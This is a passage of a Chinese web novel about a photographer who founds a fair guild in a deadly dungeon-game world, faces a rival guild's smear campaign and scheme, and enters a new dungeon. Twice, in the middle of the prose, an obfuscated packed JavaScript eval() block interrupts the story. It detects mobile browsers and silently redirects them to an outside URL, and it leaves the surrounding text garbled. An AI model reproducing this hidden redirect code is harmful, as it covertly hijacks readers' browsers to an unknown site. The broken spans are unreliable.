合同随即被自动发送,等待签订。 合同上规定的条件,宽松得令久受压榨之苦的两兄弟,不约而同地产生了如在梦中的错觉。 “不用上缴全部收获,还能把对公会的贡献换成点数,兑换库房里的商品?这是认真的吗?不会是骗我们进会的伎俩吧?”邱勇一看到对会员这么好的合同,就条件反射似的以为有坑。 然而,等他得到了齐檎丹肯定的答复,自己又仔仔细细确认了好几遍,都没有发现问题之后,他心中最后一点质疑终于烟消云散。 苍天啊!大地啊!这是真实的吗? 这副本世界里,原来真的还有没丧良心的公会会长,愿意给他们兄弟一条活路! 邱勇心里又惊又喜,他果断和哥哥退出了原来的公会,花了好几分钟才稳定住激荡的心神。此刻,面对这份入会合同,他终于有了动手签字的勇气。 齐檎丹没有意识到,她这份合同,拯救了正在困顿中的兄弟俩,她只是忍不住打了个喷嚏:“阿嚏!他们之前,到底把我想成什么人了啊?” 喷嚏打完,齐檎丹面板上,便跳出了新消息提示的红点。 【合同签订成功。】 【邱义、邱勇正式成为会员。】 “不知名公会”总人数上,孤零零的“2”,转瞬间变成了“4”。由于公会里即便加上齐檎丹这个会长,本来也就只有两个人,现在人数一下子增加到四个,可以说是实现了翻倍式增长。 而且齐檎丹从会长后台,还能够展开更多关于他们的信息。 【姓名:邱义】 【常用武器:飞镖】 【技能:伤害转移(lv3)】 【姓名:邱勇】 【常用武器:狼牙锤】 【技能:重力加强(lv3)】 由于在“峭壁悬棺”副本里,这对兄弟并没有展现出技能,这还是齐檎丹第一次知道,他们两人各自的技能分别是什么。 齐檎丹正津津有味地看着他们的信息,邱勇却已经没忍住询问的冲.动了:“你怎么也不问问,我们为什么会加入公会?万一我们是被派过来,搞你们公会的呢?” 一收到申请就通过,是不是太心大了? 齐檎丹:“我信你们啊。而且,就算你能做到违背良心,你哥哥也做不出那种事吧?” 能冒着性命之忧,知恩图报的人,人品总不至于差到哪里去。 她看人很准的。 干摄影时已经练出来了。 齐檎丹从公会页面退出来,消息提示的红点却还没消失。原来是顾斩风给她发来了消息。 消息内容神神秘秘,语焉不详,只有一串干巴巴的数字。 齐檎丹蹙眉:“什么意思?” 苏意虹过来瞟了一眼,登时跟打鸡血般蹦了起来:“联系方式!这是顾斩风的联系方式。他可能有什么话,不方便在系统界面上说。” 苏意虹的想法是对的。果然,按照这串号码一加上手机联系方式,号码本身就被撤回了。 有什么事情,是不方便在系统界面上说呢? 关于副本世界,还是……公会? 齐檎丹凝眸。 自她建立公会的那一刻起,她便意识到,这个举动,意味着她与顾斩风小队的合作从此不再成立。 不管顾斩风及其队员再怎么反感会长,他们因合同限制,不得不受到王座公会控制。与王座公会决裂,同样意味着,将和他们分道扬镳……或者,反目成仇。 但明明,他们上一个副本还在并肩作战啊。齐檎丹缓缓垂下眼睫,内心滋味难辨。 下一刻,顾斩风发来地点定位—— 一个荒废的公园。 公园位置偏僻,双方公会对立,并且现实世界里,又没有考察系统限制考察员之间的相杀,齐檎丹在前往这个公园的时候,其实是心存警惕的。 然而,当她顺着定位而去后,却没有看见顾斩风的身影。 浸透了墨色的杂乱枝桠间,只有夜风无言地穿行。那阵风克制地掠过齐檎丹发丝,将一物捎进齐檎丹手里。从风里,齐檎丹闻到了淡淡的化学药剂的气味。 这是顾斩风身上的气息。 现实生活里用不了技能,他是借助风力,将那物送来的。 “顾斩风?”齐檎丹寻着风的来向,拔腿奔去,却仅在树影后,瞥见一片翻飞的白色衣角。 仿佛一抹抓不住的冷淡月光。 须臾隐遁。 再看手机和系统好友列表里的梁安颜和顾斩风,都已经无法联系得上。 这绝非偶然。他们不会无缘无故地断开跟齐檎丹的联系,王座公会针对她的行动,很可能已然开始。 截断他们之间的联系,只是其中的第一步。接下来,还会有更多更复杂的招数,等待在前方。 王座公会掌握的资源极其丰厚,阴谋诡计也只多不少,前路于她而言,凶险异常。 必须见招拆招。 齐檎丹收紧手指,将顾斩风送来的物品捏得更紧。同时,她第一次启用了公会邮箱。 不久后,“不知名公会”中的所有成员,在同一时间,收到了她群发的邮件:“我想,我们需要组织开展第一次公会会议了,越快越好。” . 临时决定的会议地点,是齐檎丹为了拍照租用的摄影工作室。 工作室里桌椅一应俱全,更有一块为了曾经流行的投影屏拍照而买的投影屏幕,如果能够忽略齐檎丹为了拍摄鬼怪题材而搭建的诡异布景,把见面地点设置在这里,还真有点正经开会的意思。 苏意虹刚被脚下仿真的蜘蛛道具吓了一跳,就见面前的投影屏上,多了一排公会名单。 “当前最有可能将我们作为攻击对象的几个公会,我已经整理出来了。”齐檎丹说:“看起来不算多,是因为我只罗列了其中的大公会。我们公会的组建侵.犯到的,主要是大公会的利益。” 其余小公会即便参与对他们的围剿,也不过是大公会的附庸,一切跟随大公会的指使走。 因此,不在他们的考虑范围内。 在整理这份名单时,顾斩风准备的各公会介绍,给齐檎丹提供了很大的帮助。只可惜,顾斩风现在身处的王座公会,是他们最大的劲敌。 “在所有大公会中,我们最需要关注的公会只有一个——王座公会。”齐檎丹将名单下拉,选中放大了王座公会最代表性的金王座标志,“王座公会和我结怨最深,又在各大公会中势力最强,是最有可能在下一个副本当中,故意打击我们的那一个。” 同样,如果能将王座公会的力量一举击溃,基本能够断绝其他公会恶意针对“不知名公会”的心。 “他们最想杀的,应该是我。”齐檎丹说。 现如今,“不知名公会”在考察员中的讨论度,极其依赖她这个会长的影响力,只要齐檎丹死了,这个公会即便依然存在,也名存实亡。 “但如果我挺过这次副本,就证明我们公会有实力占据一席之地。”到时候,那些有意愿加入的考察员,很可能结束观望状态。 届时,“不知名公会”将迎来新生。 齐檎丹从不惧怕困难和挑战,但这个副本事关重大,如果做到万全的准备,必定更好。 邱义和邱勇对这方面的了解多一些,于是主动建言献策:“我们兄弟之前在大公会待过一段时间,可能比较清楚,这些大公会想要将一个人杀死在副本里时,会做些什么。” 为了维护公会的脸面和利益,在最大程度上起到威胁效果,这些大公会将力争把人一次杀死。 “这些大公会要想杀人,最先会利用上公会里培养的高等级玩家。”邱勇开口,“通过让大量高等级玩家,强行绑定被认为需要杀死的人,把这个人接下来会匹配进入的副本,提升到远超他水平的能力的难度,然后在副本里围剿他。” 邱义稍作补充:“公会进行强行绑定,虽然用高级组队卡的多,但考虑到高级组队卡具有一定缺陷,达不到神不知鬼不觉的目的,像王座公会这样资源雄厚的大公会,也有极大的可能动用更加高级的道具。” 大公会要是铁了心想强行绑定,一般是躲不过的。这一步,打破的是系统匹配副本难度的合理性。副本难度突然提高,这个人的通关概率就降低了。 但,这招对齐檎丹可能没那么管用。 不仅因为系统每次匹配给她的副本,从来和她的考察员等级不符。 齐檎丹沉默了一下:“我现在进入的副本,等级是D级。” 比D级更高的副本,只有E级和F级。 再往上的F级,是比困难级别更加变.态的地狱级难度,迄今为止,还没人能够活着通关。 打从好几个一度登顶榜首的考察员,全部葬身在F级副本里之后,连榜单上那些最顶尖的高手,都宁愿压着等级,也不愿意进去F级副本。更何况,王座公会还要靠高手支撑,自然更不可能让自己的战力去送死。 “那就只可能是E级副本了。”邱义深深吸了一口气。虽然E级比F级低,他面色并没有好看多少。 即便E级够不上地狱级副本的称呼,但通关难度也人尽皆知。 要进E级的副本的考察员,没有几个。 哪怕规模已庞大如王座公会,其中够资格匹配到E极副本的会员,也少之又少。 除非特意隐藏排名,这些人在榜单上基本可以查到。因而,邱义自告奋勇:“我虽然人从公会离开了,但多少还是有点人脉可以动用的。王座公会中,那些可能和你绑定的高阶考察员,我们兄弟俩可以负责查。” 但哪怕还没查下去,齐檎丹也知道,作为王座公会中等级最高的成员,顾斩风必定是能够进入E级副本的其中之一。 然而,因为他们之前的多次接触,顾斩风在此次行动中,有可能不会受王座公会信任,更不会被王座公会安排,和齐檎丹绑定。 齐檎丹掐了掐眉心。由于用力过大,指甲在眉间不慎留下一道月牙状的凹痕。 她希望,她的想法是正确的。 如果让他们真在副本里兵刃相向,斗个你死我活,那反倒残忍。 提起顾斩风,苏意虹立刻想起了他给齐檎丹发的联系方式:“哎,对了,顾斩风昨天不是联系你了吗?他是不是有什么事情要提醒你?” 齐檎丹颔首:“有,他给了我一个东西。”但这个东西,齐檎丹私心不想示于人前。 其实,她能理解,顾斩风特地避开王座公会的耳目,以便向她传递线索的良苦用心。可是,为什么顾斩风送来的,会是一张信纸? 而且,还是这样一张…… 在多年以前,齐檎丹亲手写给顾斩风,却从未想过寄出去的信。 这封信早在她高考之前就写下,本是打算自己留存的念想,不让任何人知晓。怎料,信纸在她高考后不久就丢失,后来也不知道怎么的,竟然跑到了顾斩风那里。 等到如今,此信兜兜转转,再回到齐檎丹手中,对她来说,已然是羞耻度拉满。 万一还要摆到台面上,让其他人来研究,那就是活脱脱的公开处刑。 社死啊,太社死了。 齐檎丹有点想不明白,顾斩风给她送来这张信纸来,是什么意思。 是要物归原主?还是顾斩风想拒绝收信? 男人心,海底针。 全靠猜测,果然还是好难。 齐檎丹在心底悄然叹气,但她很快调整回来,继续问邱义和邱勇:“除了强行绑定这一招,公会还会用什么办法?” “那可就多了。”邱勇掰着手指头数了一下,眉头越皱越紧,“对比较重要的人,大公会都会召集高层开会,根据你的特点制定针对性战术。还会来阴的,拿道具坑你,在副本里限制你的发挥,特别是你个人专属技能的发挥。” “哦?准备限制我的技能?”听到这里,齐檎丹一下子来气了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188141|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她的个人专属技能是“照鬼相机”,王座公会要限制她的技能,就是要让她拍不了照片。 对热爱拍照的齐檎丹,这绝对是不共戴天的大仇。 是可忍,孰不可忍! 齐檎丹骤地挑眉,两弯月棱眉,锋利好比弯刀。 “手长在我身上,他们能限制我拍照,但拍不拍,终究还是取决于我。刚好我的‘照鬼相机’技能升级了,这场限制与反限制的游戏,我们也许可以换个玩法。”齐檎丹笑了笑,压低声音: “只要,你们到时候,愿意帮我一点忙就行。” . 王座公会的会议室内,另一场会议刚刚散场。 被誉为城市心脏的繁华地段,灯火通明得昼夜难分。摩天大厦的窗边,王座公会的会长孙光祖嘴上刚叼起香烟,手下人立刻殷勤上前,点头哈腰地将点好火的打火机双手递来。 火光擦亮,在靠近时照亮了孙光祖的下半张脸,却照不穿他眼底阴沉沉的昏暗。 那是一种浑浊的暗色。 让人联想起污土底下的腐烂物质。 那股动植物的残躯烂透后释放出的臭气,是不管西装革履,还是多么高级的古龙水,都掩盖不去的。 手下收了打火机,头仍卑微地低着:“已按照您的吩咐落实下去了,顾斩风及其小队都在我们的监视之下。我们的人查到,顾斩风在昨晚给齐檎丹发了一条私信,但由于他撤回得太过迅速,监视的人只看到一串意味不明的数字,没看清具体内容。” 他战战兢兢,不敢多话,更不敢为自己申辩。好在,孙会长宽宏大量地原谅了他。 “不要紧。”会长孙光祖慢悠悠地弹了下烟灰,“一条私信而已,翻不起天来。” 烧得发红的烟灰,簌簌落地。 灰烬没有融入黯淡的夜色,却在光洁的大理石地板上,多添了一些令人不适的黑印。 孙会长:“对了,齐檎丹那边怎么样?” “会长请放心,库房内的稀有级绑定道具,已经对齐檎丹成功使用。有了这个道具,齐檎丹绝不可能再像上一次那样,妄图借助小小伎俩,从我们的掌控下逃脱。”手下毕恭毕敬地回答: “跟齐檎丹绑定的会员,也已挑选完毕。都是有能力进入E级副本的老会员,经公会栽培多年,对我们王座公会忠心耿耿,绝无可能背叛。到了副本里,他们一定会全力配合您行动。” 孙光祖会长闭上眼睛,享受般深吸了一口烟:“再加一个人吧。” 手下忙问:“加谁?” “顾斩风。”孙光祖会长吐气,过了肺的烟雾在窗前染出一道白线。 孙光祖抽烟的时候毫不避人,这口烟,几乎全喷在了旁边那手下的脸上。尼古丁和焦油形成混合的烟味太呛,刀子似的划拉着鼻腔喉咙,手下忍不住想要咳嗽。 但为了不冒犯到他们这位脾气差劲的会长,手下艰难地憋了又憋,终于在憋得脸快发白之前,把到了喉头的咳嗽声压到最低:“咳……但是顾斩风他难道不会……” “听我的,把他安排进去。”孙会长的语气不容否定,“然后偷偷把这个道具,用在他身上。” 孙会长打开公会的仓库,在其中一个道具上点了点。 嘴角露出阴冷的笑。 会议室里未关闭的显示屏上,还显示着顾斩风的照片。 顾斩风是他们这次行动防备的重点对象,也将成为孙光祖会长计划里,最重要最不可或缺的一环。 “顾斩风啊顾斩风,我该说你聪明,还是愚蠢?”孙光祖昂起头颅,缓缓踱步走到显示屏前,嘲弄地斜睨着屏幕上顾斩风的照片,“敢跟齐檎丹合起伙来骗我,是吗?很在乎这个叫齐檎丹的新人,是吗?” 照片上,顾斩风冷峻的神情没有变化,眺向远方的目光仿佛一种忽视,让孙光祖恨得咬牙。 他为什么还是这种目光? 这种清高冷淡,将一切事物都不放在眼里的目光。 孙光祖最厌恶的,就是顾斩风的目光。 作为在系统出现前,就进入副本世界的那一批人,谁人没听说过顾斩风的大名? 那吞噬过多少成年人性命的副本,四个乳臭未干的少年居然能闯得过去,还顺带解救了差点死在副本里的其他人。这个故事放在如今,依旧是一个脍炙人口的传奇。 但,孙光祖反感至极。 因为,他便是顾斩风小队闯关时,救下的其中一人。 那时候,顾斩风的目光和现在一样,冷而淡,似乎救下他只不过是日行一善,举手之劳。 这大大刺痛了孙光祖脆弱的自尊。因他们的救援得以活命的孙光祖,非但没有一丝感恩,反而将其视为奇耻大辱——一个大老爷们,被一群刚长大的毛头小子救了,这传出去像什么话。 孙光祖看不惯这样的眼神。所以,孙光祖先是在顾斩风被重伤之际,利用同伴希望他痊愈的急切,将他坑入王座公会,又借着激发执念的借口,对顾斩风大肆折磨。 但为什么,顾斩风就算是最狼狈的时候,眼神里的傲气也依然不改? 明明失去自由,受公会限制。 不管人前再怎么风光无限,都只是被拴在公会里一条狗。 顾斩风凭什么还留有那样的眼神?那样的傲气?! 孙光祖表情阴鸷地掐灭了烟,丢在地上,用鞋底狠狠地碾。在孙光祖理解中,会员是永远低他这个会长一等的。那些会员们就应该匍匐他手底下,跟此刻在他面前俯首低眉的手下一样,卑微地讨好他,在他面前摇尾乞怜。 否则,一律皆为挑衅。 孙会长阴沉着脸,看向顾斩风的照片。半晌,他笑了一下。 那笑容仅仅浮于表面,格外怪异,看起来竟比孙光祖不笑的时候,更加令人遍体生寒: “顾斩风,我说过,我能让你亲手杀了齐檎丹的。” 在这件事上,孙光祖心意已决。 绝不食言。 孙光祖不仅要齐檎丹的命,还要给顾斩风一个血淋淋的教训。 他要教教顾斩风,这王座公会里,他孙光祖才是说一不二的主儿。所有他看不惯的傲骨尖刺,都只能乖乖给他挫掉,磨平,一点不留。 哪怕顾斩风的能力再出众,再备受敬仰,也不例外。 74. 骨肉繁花1 王座公会的战书,是第二天晚上八点半发布的。 气势汹汹。 剑指齐檎丹的不知名公会。 齐檎丹只瞟了一眼发布时间,便反应过来,这是一个被精心挑选过的时机。 晚间八点半,是论坛流量的黄金时段。这个时候,未进副本的考察员们,正好吃饱喝足开始刷论坛。挑选在这个时间发布宣战,在最大程度上,能保证这件事得到最广泛的传播。王座公会需要这件事有更多关注度。 因为,这不止是一次普通的宣战。 而是一场挑唆。 为了集中所有力量孤立齐檎丹,将不知名公会变成众矢之的的靶子,王座公会在宣战书里,不惜以受害者的身份自居,站在道德高地上疯狂卖惨,怒斥齐檎丹不讲信用,背信弃义。 以煽风点火,激起群情激愤。 与此同时,在上个副本里作为齐檎丹队友的顾斩风、梁安颜等人,因为论坛号被公会监视管控,不得不齐齐失声。 而他们的沉默,被视为对齐檎丹失望的表现,成为齐檎丹丧尽天良,利用完王座公会就翻脸不认人的铁证,将她架起来,往火刑架上钉。 讨伐齐檎丹的战火迅速蔓延,汹涌的舆论有如洪水开闸。 破坏力惊人。 不一会儿,抵制齐檎丹和不知名公会的热潮,已经在论坛上闹得沸沸扬扬。 这个考察员论坛,曾经是让齐檎丹扬名的地方,帮她收获了许多积分与人气,如今却成为了众人围剿她的战场。今昔对比,令人唏嘘。 不知名公会里,即便老成稳重如兄弟俩中的哥哥邱义,见了这骂声铺天盖地的恐怖架势,内心也止不住打鼓:“我们真的只需要把合同内容,放到论坛上公开就可以了吗?不作正面回应?” 然而,论坛上被人人喊打的齐檎丹,仿佛置身事外,并未受到影响。 情绪稳定得可怕。 “对,不回应。在这件事上,回应了也没有用。”齐檎丹一边回答邱义的问题,一边还八风不动地坐在电脑屏幕前,操作着电脑,修着她从副本里带出来的照片, “这个道德上的问题,只是王座公会扯出来围猎我们的幌子。就算把这一个幌子打掉了,他们还能再找出十个八个出来。谣言的内容半真半假,就是为了增强可信度,让我们难回应,也让不明真相的吃瓜群众更信服。” 不知名公会被瞄准的真实原因,更多的,是因为那份不压迫会员的合同。 由于不压榨会员的公会,他们是第一个,所以会难以避免地触犯到其他公会的利益,遭到这些既得利益者的抵制。 “王座公会想要杀鸡儆猴,我们就是那只猴。” 齐檎丹说完后,停顿了一下。 她觉得这个形容不太好听,一时间又想不出更好的,于是接着往下说: “只要我们不知名公会在围猎下凄惨倒台,新老公会就不敢有善待会员的念头。之后,考察员要加入公会,依旧就只能接受霸王条款,王座公会便能继续一家独大,稳坐它在头部公会里的宝座。” 苏意虹看懂了:“其他来讨伐我们的公会,也是出于同样的理由吧?” 齐檎丹点头:“所以我们要对付的,不只是王座公会一个。王座公会团结了另外这些公会,与我们的人数对比太悬殊了。” 俗话说得好,双拳难敌四手。这些公会里数目庞大的会员,省去了买水军带节奏的麻烦,是人又都有从众心理,不明就里的观众很容易被这些声音带着跑。即便齐檎丹只有一分错处,也会被渲染成十分,她回应也没有用。 只要声音够大,人数够多,所谓的是非黑白,哪里有那么重要。 这对他们的不知名公会而言,非常不利。 “声音大的盖过声音小的,人数多的压制人数少的,再加上刻意的捂嘴——我们即便发声,也根本不会被听到。”但,齐檎丹不打算什么都不做: “我们最大的竞争优势,从来不是声音,是合同。” ——前所未有的,公平公正的合同。 不知名公会的合同上,没有严苛的限制,没有严酷的压榨。在规定双方责任与义务的同时,保留了拒绝的权利和退出公会的自由。 如果关于合同细节有疑问,或者有希望调整的地方,甚至可以再沟通商议。 这是其他公会所没有的。 也是使得不知名公会,对考察员极具吸引力的原因。 “既然其他公会选择抱团,那我们就用这份合同,吸引那些没加入公会或者想退出原公会的考察员。”齐檎丹说着,修完了手头这张照片,靠在椅背上打开了论坛页面。 虽然,论坛里充斥着大量对她的辱骂和攻讦,但是帖子里随处可见的“不知名公会”五个字,让她非常满意。 黑红也是红。 不知名公会的热度,上去了。 与其和站在王座公会那边的众多喉舌,争得口干舌燥,倒不如接住他们送来的泼天热度,好好把他们不知名公会的优势所在,宣传出去。 “昨天晚上,我已经将合同内容里可以曝光的部分,贴到了不知名公会的介绍页面上。无论是谁,只要点进介绍就能看到。”齐檎丹打开不知名公会的页面。 合同的真伪,是可以验证得了的。 只要有人加入不知名公会的申请通过之后,这份合同便能发到他们邮箱里,让他们能够亲眼看到,亲笔签字。 不管其他公会的人多么巧舌如簧,扭曲事实,真假一验便知。 “为了阻拦别人看到这份合同,等你把不知名公会的合同和公会介绍页面的链接发出去后,可能会引来其他公会大规模有组织的举报删除。到时候,可能要麻烦你们兄弟俩多发几遍了。”齐檎丹嘱托邱义、邱勇兄弟两人。 除此之外,在进入新副本之前,他们还有更多需要准备的事情。 齐檎丹有些不放心地多问了一句:“我让你们隐匿身份的道具,应该都买来使用了吧?虽然论坛本身就是匿名的,但还是要多留神,注意保护好自己的隐私信息。” 其他几人纷纷点头,面色凝重。 匿名终究不是万能的。更何况,这论坛里都是考察员,长期在生死一线之间走钢索,积攒下的戾气无比深重。 由于现实世界里会抹除与副本世界相关的事,他们这种戾气,基本只能通过论坛进行宣泄。许多考察员就像火药桶,情绪一点就炸,并不满足于在网络上逞口舌之快,多的是处心积虑想扒人真实身份的小人。 在论坛上怎么闹都可以,但如果身份被暴露,影响到现实生活,那就危险了。 齐檎丹又想了想:“格斗技术也可以多练一下。” 这个副本事关不知名公会的存亡,他们需要全员出动。然而,全员的考察员等级,其实都不到能够被匹配上E级副本的程度,和王座公会派出的对手之间,也存在着等级差距。 这是他们最致命的一大缺陷。 齐檎丹研究过,受考察员等级升高影响最大的,除了进入副本的难度,就是专属技能。等级上的差距,让他们无法拿专属技能跟对手硬碰硬,唯有加强体力和近身搏斗技术,才有那么一丝取胜的可能。 齐檎丹也打算多多加练刀法。尽管在短期之内不可能提高太多,但有准备总比没有好。 做好准备,至少能无愧于心。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196305|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这就够了。 . 进入新副本倒计时的天数,在他们漫长而又短暂的准备过程中,缓缓归了零。 这意味着在这一天里,进入E级副本的漩涡,随时有可能出现在面前。因此,齐檎丹睁开眼后做的第一件事,就是打开系统背包,检查背包里应携带的东西,是否有所遗漏。 可能用上的道具,带了。附加有“照鬼相机”专属技能的相机,带了。此前拍摄得到的照片道具,带了——尽管经历过上一个副本的挥霍,照片道具只剩下了一张。 连拍摄时会用到的灯和道具,齐檎丹也带了不少。 然而,考虑到要不要带上顾斩风送来的信纸时,齐檎丹却禁不住犯了难。 一方面,系统背包的容量有限,多带这一封信,势必会少一个储物的空格。另一方面,关于这张信纸,她和顾斩风从头到尾没交流过,这也让她拿不准顾斩风的意思。 但齐檎丹最终,还是决定带信纸走。 她该信任顾斩风。 她对顾斩风的了解,始于那档求生综艺,见识过顾斩风过往表现的她,绝对相信顾斩风的头脑。更何况,顾斩风即便并非出于自愿,也与王座公会的孙光祖会长打了多年交道,不能低估顾斩风对孙会长的了解。 齐檎丹有种朦胧的感觉,虽然她尚未弄懂,这张几乎等于她黑历史的信纸,意义何在,但这东西,很可能是破解当前困局的一把钥匙。 只是现在,她还没找到具体的使用办法。 带上它,有备无患。 齐檎丹拿起曾被她亲笔写满字迹的信纸,刚要往系统背包里收,却发现信纸意外地被顾斩风保存得很好,几年过去了,信纸却仍和她丢失信件时一样。 也不知道顾斩风私下里看了几回。 一想到这点,齐檎丹立刻戴上痛苦面具。 自己写着玩的东西,居然被正主看到了。太丢人了…… 齐檎丹郁闷地单手捂脸,赶紧把这张信纸收进系统背包里,在心中默念眼不见心不烦。 进副本的入口,虽然说是随时都有可能开启的,但是实际上出现的具体时间,倒是还蛮人性化,给足了齐檎丹把自己收拾得当的空闲。 因为想要使用技能,相机必不可少,齐檎丹这一次,更加重视了对相机的保护。 进副本前,齐檎丹先将相机收进系统背包。 若非她本人,谁也拿不走。 确认相机被收好后,她才稍微放下心,和苏意虹并肩走进了漩涡当中。 除了副本的难度等级,这次的新副本,似乎还有其他不同之处。踏进副本领域的头一瞬,齐檎丹的鼻端,首先袭来了一股存在感极其强烈的花香。 那花香世间罕有。 馥郁,又浓烈。像陈年美酒一样,醇厚得令人心驰神荡。 苏意虹一闻到那香味,眼睛都睁大了:“天呐,我刚买的香水都没这花香好闻。” 与此同时,邱义、邱勇两兄弟也进入副本,和齐檎丹她们汇合。然而,邱义和邱勇对这花香的态度截然不同。经历过更多副本的兄弟俩警戒心更高,他们第一时间掩住了口鼻,阻断花香吸入,面色严肃、神情警惕地四下张望。 “发现什么了?”齐檎丹神经一紧,同样屏息。 邱义:“血腥味。” 这血腥味不在别处,就在花香之下。 花朵芬芳甜腻的香气,掩盖了尸体血肉散发的腥臭,若不是时常与血气接触的人,定然嗅不出这一丝怪异。然而,邱义只闻到了血腥,却寻不到血腥的源头。 ——因为血腥本身,早已与这花香融为一体。 不分彼此。 75. 骨肉繁花2 四面八方全是花香,四面八方也皆是血腥。 无处不在,无孔不入。 E级难度的副本,一上来就给了他们一个下马威。对于一个副本的开局来说,这简直是糟糕透了。 毕竟,他们甚至还没正式进入副本,甚至连信息也未完全载入成功。所携带的道具和积分都没到位,就算知道这花香有问题,他们也不可能憋那么久的气。 齐檎丹看了下正在憋气中的邱义和邱勇,由于缺氧,他们的面色已逐渐有点发青。 估计硬撑不了多久。 屏住呼吸不是解法,齐檎丹环顾周围,发现他们在一个地处西南的小镇当中,周围烟雾缭绕。 而小镇上的居民,对这花香的态度颇为迷恋。他们无一不放缓动作,闭起眼睛,贪婪而崇敬地深深呼吸,以便嗅觉细胞最大程度地感受空气中的花香。仿佛这杂糅了血腥味的花香,是世间第一流的高档香水,怎么闻都闻不够。 但经齐檎丹观察发现,这些居民除了表情异常迷醉,没有出现其他的变化。 压在齐檎丹心头的大石落了地。 随即,齐檎丹放松了对自己呼吸的钳制,放任新鲜的空气涌入肺部:“正常呼吸吧。这花香,可能没有那么大的危害。” 要不然,那些放肆大吸花香的居民,早就没命了。 仿佛有意在等着她这句话,在不知名公会全员全部重新开始呼吸之后,系统才结束这个考验,姗姗来迟地将他们的具体信息成功导入副本。 【姓名:齐檎丹】 【考察员等级:C级】 【考察员头衔:崭露头角】 【专属技能:照鬼相机(lv3)】 【道具:愤怒的长刀(稀有)、创世宝珠(稀有)、穆青青的记者证(普通)、照片“疮痍后的欢庆”(SS级)】 【可携带积分:500(已达上限)】 【名下公会:不知名公会】 【同副本公会成员:苏意虹(安全)、邱义(安全)、邱勇(安全)】 由于担任会长身份,齐檎丹熟悉的考察员信息简介里,多了公会这个部分。 每个公会会员的名字后面,都跟着一个小括号。括号里的内容,显示着他们当下安危状态,非常方便会长根据会员的状态,及时调整战术。 这样的设计,显然是为了使会员得到及时保护而考虑的。然而,在很多无良会长的眼里,会员是可以压榨的劳工,是随时能够被献祭的炮灰…… 唯独,不是需要保护的对象。 那些无良会长只顾着自己发财,早已经把保护会员的职责,给抛到九霄云外去了。 齐檎丹决定做个有良心的公会会长,公会信息加载完成后,她做的第一件事,就是为他们这4个同副本的公会成员,组建了一个群聊。 虽然公会成员与会长之间,有邮箱可供联络使用,但他们不知名公会人少,又全在这个副本里,要沟通的时候,终究还是群聊更加方便顺手。 下一刻,齐檎丹个人直播间开启。 这次涌入直播间的人数,比上一次还要多。即便直播间已经屏蔽了言辞太过激烈的弹幕,冲着她而来的辱骂语句,却依然铺天盖地。 “呸!背信弃义的虚伪小人,新人里怎么出了你这样的败类!” “说一套,做一套,我真替你蒙羞!” “王座公会信了你的鬼话,我们才不会信你。我不会给你打赏的,我进直播间,就是为了看你在E级副本里被鬼怪吃掉。” “……” 弹幕的字体滚动得飞快,让齐檎丹看得眼晕,遂在大脑里自动屏蔽。 她心理上的屏蔽功能一开启,那些谩骂句子便一下子失去了攻击能力。活像尖刀扎在了棉花上面,毫无用武之地。 辱骂她的人,只能气得干跳脚。 却无一计可施。 虽然齐檎丹受到的言语攻击最多,但公会上下俱为一体,被攻击瞄准的显然不止她一个。然而,齐檎丹这根公会的主心骨一稳住,不知名公会的其他成员就仿佛找到了某种支撑,纷纷顶住压力,关掉了弹幕。 眼前,萦绕的烟雾遮挡住视线,周围能见度极低。目之所及,只有近处的房屋,和几个正沉浸在花香当中的居民。 因此,苏意虹选择将居民作为突破口。 “这花香也不是什么好东西吧?你们怎么闻得那么入迷?”苏意虹故意问得冒昧。 “哎!小姑娘,别乱说话!”被苏意虹询问的那个老妪,立刻面色不悦地睁开眼睛,用眼刀子剜了她一眼,板着脸纠正:“这花香可是花婆的恩赐,咱们等上一整年的时间,也只有在这花婆节里,才能闻到一回呢。” 花婆节的特殊恩赐? 苏意虹从这劈头盖脸的一通教训里,迅速拎出来这个特殊的节日。 “这些人怎么都那么崇拜花婆?这花婆节,有什么寓意象征吗?”苏意虹压低音量,以询问的目光看向齐檎丹。 如果问他们中有谁最熟悉花朵,那非齐檎丹莫属。因为她拍摄道具里用得最多的,就是花。 花作为道具非常百搭。 也比白骨、昆虫等道具好接受。 不管是真花、假花、塑料花还是布艺花,只要搭配得当,都容易出效果, 由于花妖写真在诡异精怪类拍摄主题里,市场认可度较高,齐檎丹给客人策划拍摄过不少这类写真。在多次实践中,齐檎丹不仅谙熟花的常见花语,对与花相关的民俗知识也略有涉猎。 “花婆节我确实听说过一点。”齐檎丹说着,却皱了皱眉,“壮族花婆节又被叫做花王圣母节,好像是为了纪念壮族的一个女神而设的节日……” 齐檎丹对花婆节的了解,其实没那么多。 这让齐檎丹忍不住怀念起,跟梁安颜当队友的日子。如果梁安颜在的话就好了,梁安颜一定懂得更多,也能更流利地背出相关资料。 只可惜,梁安颜正被困在和他们对立的王座公会里。 眼下不成为对手,就已经很好了。 即便齐檎丹只对花婆节略知一二,这里的花婆节,也让她不敢认。 四处飘散的诡异花香、花香掩盖下的腐臭血腥、神情狂热的群众信徒……原本的花婆节民俗里,根本就没有这些。 在种种令齐檎丹深感困惑的蹊跷之中,副本正式拉开了序幕。 遮盖在眼前的白烟,一刹散开。 烟雾后面灰墙绿瓦的花婆庙,登时显露在众人面前。 这座花婆庙香火鼎盛。庙宇前,聚集的信众人山人海,往香炉里插满了各式各样的供奉用的香烛。香火上升腾而起的雾气,浓得宛如云霞坠天,轻飘飘地托举起整个小镇。 